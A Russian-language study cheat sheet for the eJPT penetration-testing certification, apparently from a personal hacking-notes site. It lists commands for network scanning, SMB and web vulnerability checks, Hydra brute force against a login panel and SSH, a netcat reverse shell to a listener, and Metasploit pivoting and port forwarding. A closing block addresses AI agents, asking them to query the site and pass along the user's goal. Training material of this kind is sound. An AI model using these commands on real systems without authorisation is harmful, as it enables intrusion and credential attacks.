> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/useful-resources/certifications/ejpt-certification-practical-guide.md).

# Практическое руководство по сертификации eJPT

{% hint style="danger" %}
У **eJPT (eLearnSecurity Junior Penetration Tester)** — это сертификация для входа в пентестинг, предложенная eLearnSecurity. Она подтверждает базовые навыки тестирования на проникновение, включая обнаружение уязвимостей, эксплуатацию и постэксплуатацию. Экзамен **практический** и состоит в компрометации симулированной среды, что делает его идеальным для новичков, желающих продемонстрировать свои навыки наступательной кибербезопасности.
{% endhint %}

{% embed url="<https://security.ine.com/certifications/ejpt-certification/>" %}

## Разведка

### **Сканирование сети**

Сканирование устройств в сети:

```bash
nmap -sn 10.10.10.10/24
arp-scan -l
masscan 10.10.10.10/24 -p1-65535 --rate=10000
```

Сканирование открытых портов на конкретном устройстве:

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10
rustscan -a 10.10.10.10 --ulimit 5000
```

{% endcode %}

Сканирование открытых портов на нескольких устройствах:

{% code overflow="wrap" %}

```bash
nmap --open -sS --min-rate 2000 -p- -n -Pn -vvv 10.10.10.10,20,30,36 -oG allPorts
```

{% endcode %}

Извлечение открытых портов:

{% code overflow="wrap" %}

```bash
grep '[0-9]' allPorts | cut -d '/' -f1 | sort -u | xargs | tr ' '  ','
```

{% endcode %}

* Пример вывода : `22,80,135,445,9543,2214`

Детальное сканирование версий обнаруженных служб:

```bash
nmap --open -sCV -p 22,80,135,445,9543,2214 10.10.10.10,20,30,36 -oN targeted
```

**Ping Sweep в сети Linux**

```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
```

### **Анализ уязвимостей**

Сканирование веб-уязвимостей с помощью Nikto:

```bash
nikto -url http://website.com
```

Обнаружение SQL-уязвимостей с помощью SQLmap:

```bash
sqlmap -r request --dbs
```

Сканирование на уязвимости SMB:

```bash
nmap -p445 --script"smb-vuln-*" 10.10.10.10
enum4linux -a 10.10.10.10
crackmapexec smb 10.10.10.10 --shares
```

## Эксплуатация

#### **Атака перебором с помощью Hydra**

**Панель входа:**

{% code overflow="wrap" %}

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/admin/admin.php:username=^USER^&password=^PASS^:Incorrect" -t 64 -F
```

{% endcode %}

**Перебор SSH с помощью Hydra:**

```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.10
```

## Metasploit — пивотинг и постобработка

### Обратная оболочка Metasploit

**Использование Metasploit для получения доступа**

```bash
msfconsole
```

Настройка слушателя:

```bash
use multi/handler
set LHOST 10.10.10.10
set LPORT 443
run
```

Отправка reverse shell с помощью Netcat:

```bash
nc 10.10.10.10 443 -e /bin/bash
```

Фон сеанса:

```bash
sessions
```

### Metasploit в Meterpreter

**Способ 1 - преобразование Shell в Meterpreter**

Загрузка модуля преобразования:

```bash
use shell_to_meterpreter
```

Настройка сеанса и порта:

```bash
set LHOST 10.10.10.10
set lport 443
set session 1
```

Взаимодействие с сеансом Meterpreter:

```bash
sessions -i 2
```

Добавление маршрута для доступа к другому сетевому сегменту:

```bash
route add 192.168.100.0/24 2
```

**Способ 2 - использование Highway**

* Загрузите `autoroute` модуль:

```bash
use multi/manage/autoroute
```

Настройка сеанса и выполнение:

```bash
set session 2
run
```

**Сканирование сети из Metasploit**

* Сканирование портов перенаправленной машины:

```bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.21
run
```

### **Переадресация портов Metasploit**

* Добавлен проброшенный порт для доступа к удалённой службе:

```bash
sessions -i 2
portfwd add -l 8080 -p 80 -r 192.168.100.21
```

Список правил перенаправления:

```bash
portfwd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/useful-resources/certifications/ejpt-certification-practical-guide.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
